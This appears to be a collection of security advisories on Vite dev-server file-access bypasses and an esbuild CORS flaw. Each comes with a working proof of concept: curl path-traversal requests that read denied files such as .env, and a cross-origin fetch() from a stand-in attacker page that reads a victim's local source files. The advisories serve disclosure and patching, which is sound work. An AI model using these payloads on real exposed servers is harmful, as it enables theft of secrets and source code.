Version Details and Security Vulnerabilities

Summary

The contents of files in the project root that are denied by a file matching pattern can be returned to the browser.

Impact

Only apps explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected. Only files that are under project root and are denied by a file matching pattern can be bypassed.

• Examples of file matching patterns: .env, .env.*, *.{crt,pem}, **/.env
• Examples of other patterns: **/.git/**, .git/**, .git/**/*

Details

server.fs.deny can contain patterns matching against files (by default it includes .env, .env.*, *.{crt,pem} as such patterns). These patterns were able to bypass for files under root by using a combination of slash and dot (/.).

PoC

npm create vite@latest
cd vite-project/
cat "secret" > .env
npm install
npm run dev
curl --request-target /.env/. http://localhost:5173

Summary

Files starting with the same name with the public directory were served bypassing the server.fs settings.

Impact

Only apps that match the following conditions are affected:

• explicitly exposes the Vite dev server to the network (using --host or server.host config option)
• uses the public directory feature (enabled by default)
• a symlink exists in the public directory

Details

The servePublicMiddleware function is in charge of serving public files from the server. It returns the viteServePublicMiddleware function which runs the needed tests and serves the page. The viteServePublicMiddleware function checks if the publicFiles variable is defined, and then uses it to determine if the requested page is public. In the case that the publicFiles is undefined, the code will treat the requested page as a public page, and go on with the serving function. publicFiles may be undefined if there is a symbolic link anywhere inside the public directory. In that case, every requested page will be passed to the public serving function. The serving function is based on the sirv library. Vite patches the library to add the possibility to test loading access to pages, but when the public page middleware disables this functionality since public pages are meant to be available always, regardless of whether they are in the allow or deny list.

In the case of public pages, the serving function is provided with the path to the public directory as a root directory. The code of the sirv library uses the join function to get the full path to the requested file. For example, if the public directory is "/www/public", and the requested file is "myfile", the code will join them to the string "/www/public/myfile". The code will then pass this string to the normalize function. Afterwards, the code will use the string's startsWith function to determine whether the created path is within the given directory or not. Only if it is, it will be served.

Since sirv trims the trailing slash of the public directory, the string's startsWith function may return true even if the created path is not within the public directory. For example, if the server's root is at "/www", and the public directory is at "/www/p", if the created path will be "/www/private.txt", the startsWith function will still return true, because the string "/www/private.txt" starts with  "/www/p". To achieve this, the attacker will use ".." to ask for the file "../private.txt". The code will then join it to the "/www/p" string, and will receive "/www/p/../private.txt". Then, the normalize function will return "/www/private.txt", which will then be passed to the startsWith function, which will return true, and the processing of the page will continue without checking the deny list (since this is the public directory middleware which doesn't check that).

PoC

Execute the following shell commands:

npm  create  vite@latest
cd vite-project/
mkdir p
cd p
ln -s a b
cd ..
echo  'import path from "node:path"; import { defineConfig } from "vite"; export default defineConfig({publicDir: path.resolve(__dirname, "p/"), server: {fs: {deny: [path.resolve(__dirname, "private.txt")]}}})' > vite.config.js
echo  "secret" > private.txt
npm install
npm run dev

Then, in a different shell, run the following command:

curl -v --path-as-is 'http://localhost:5173/private.txt'

You will receive a 403 HTTP Response,  because private.txt is denied.

Now in the same shell run the following command:

curl -v --path-as-is 'http://localhost:5173/../private.txt'

You will receive the contents of private.txt.

Related links

• https://github.com/lukeed/sirv/commit/f0113f3f8266328d804ee808f763a3c11f8997eb

Summary

Any HTML files on the machine were served regardless of the server.fs settings.

Impact

Only apps that match the following conditions are affected:

• explicitly exposes the Vite dev server to the network (using --host or server.host config option)
• appType: 'spa' (default) or appType: 'mpa' is used

This vulnerability also affects the preview server. The preview server allowed HTML files not under the output directory to be served.

Details

The serveStaticMiddleware function is in charge of serving static files from the server. It returns the viteServeStaticMiddleware function which runs the needed tests and serves the page. The viteServeStaticMiddleware function checks if the extension of the requested file is ".html". If so, it doesn't serve the page. Instead, the server will go on to the next middlewares, in this case htmlFallbackMiddleware, and then to indexHtmlMiddleware. These middlewares don't perform any test against allow or deny rules, and they don't make sure that the accessed file is in the root directory of the server. They just find the file and send back its contents to the client.

PoC

Execute the following shell commands:

npm  create  vite@latest
cd vite-project/
echo  "secret" > /tmp/secret.html
npm install
npm run dev

Then, in a different shell, run the following command:

curl -v --path-as-is 'http://localhost:5173/../../../../../../../../../../../tmp/secret.html'

The contents of /tmp/secret.html will be returned.

This will also work for HTML files that are in the root directory of the project, but are in the deny list (or not in the allow list). Test that by stopping the running server (CTRL+C), and running the following commands in the server's shell:

echo  'import path from "node:path"; import { defineConfig } from "vite"; export default defineConfig({server: {fs: {deny: [path.resolve(__dirname, "secret_files/*")]}}})'  >  [vite.config.js](http://vite.config.js)
mkdir secret_files
echo "secret txt" > secret_files/secret.txt
echo "secret html" > secret_files/secret.html
npm run dev

Then, in a different shell, run the following command:

curl -v --path-as-is 'http://localhost:5173/secret_files/secret.txt'

You will receive a 403 HTTP Response,  because everything in the secret_files directory is denied.

Now in the same shell run the following command:

curl -v --path-as-is 'http://localhost:5173/secret_files/secret.html'

You will receive the contents of secret_files/secret.html.

Summary

esbuild allows any websites to send any request to the development server and read the response due to default CORS settings.

Details

esbuild sets Access-Control-Allow-Origin: * header to all requests, including the SSE connection, which allows any websites to send any request to the development server and read the response.

https://github.com/evanw/esbuild/blob/df815ac27b84f8b34374c9182a93c94718f8a630/pkg/api/serve_other.go#L121 https://github.com/evanw/esbuild/blob/df815ac27b84f8b34374c9182a93c94718f8a630/pkg/api/serve_other.go#L363

Attack scenario:

1. The attacker serves a malicious web page (http://malicious.example.com).
2. The user accesses the malicious web page.
3. The attacker sends a fetch('http://127.0.0.1:8000/main.js') request by JS in that malicious web page. This request is normally blocked by same-origin policy, but that's not the case for the reasons above.
4. The attacker gets the content of http://127.0.0.1:8000/main.js.

In this scenario, I assumed that the attacker knows the URL of the bundle output file name. But the attacker can also get that information by

• Fetching /index.html: normally you have a script tag here
• Fetching /assets: it's common to have a assets directory when you have JS files and CSS files in a different directory and the directory listing feature tells the attacker the list of files
• Connecting /esbuild SSE endpoint: the SSE endpoint sends the URL path of the changed files when the file is changed (new EventSource('/esbuild').addEventListener('change', e => console.log(e.type, e.data)))
• Fetching URLs in the known file: once the attacker knows one file, the attacker can know the URLs imported from that file

The scenario above fetches the compiled content, but if the victim has the source map option enabled, the attacker can also get the non-compiled content by fetching the source map file.

PoC

1. Download reproduction.zip
2. Extract it and move to that directory
3. Run npm i
4. Run npm run watch
5. Run fetch('http://127.0.0.1:8000/app.js').then(r => r.text()).then(content => console.log(content)) in a different website's dev tools.

Impact

Users using the serve feature may get the source code stolen by malicious websites.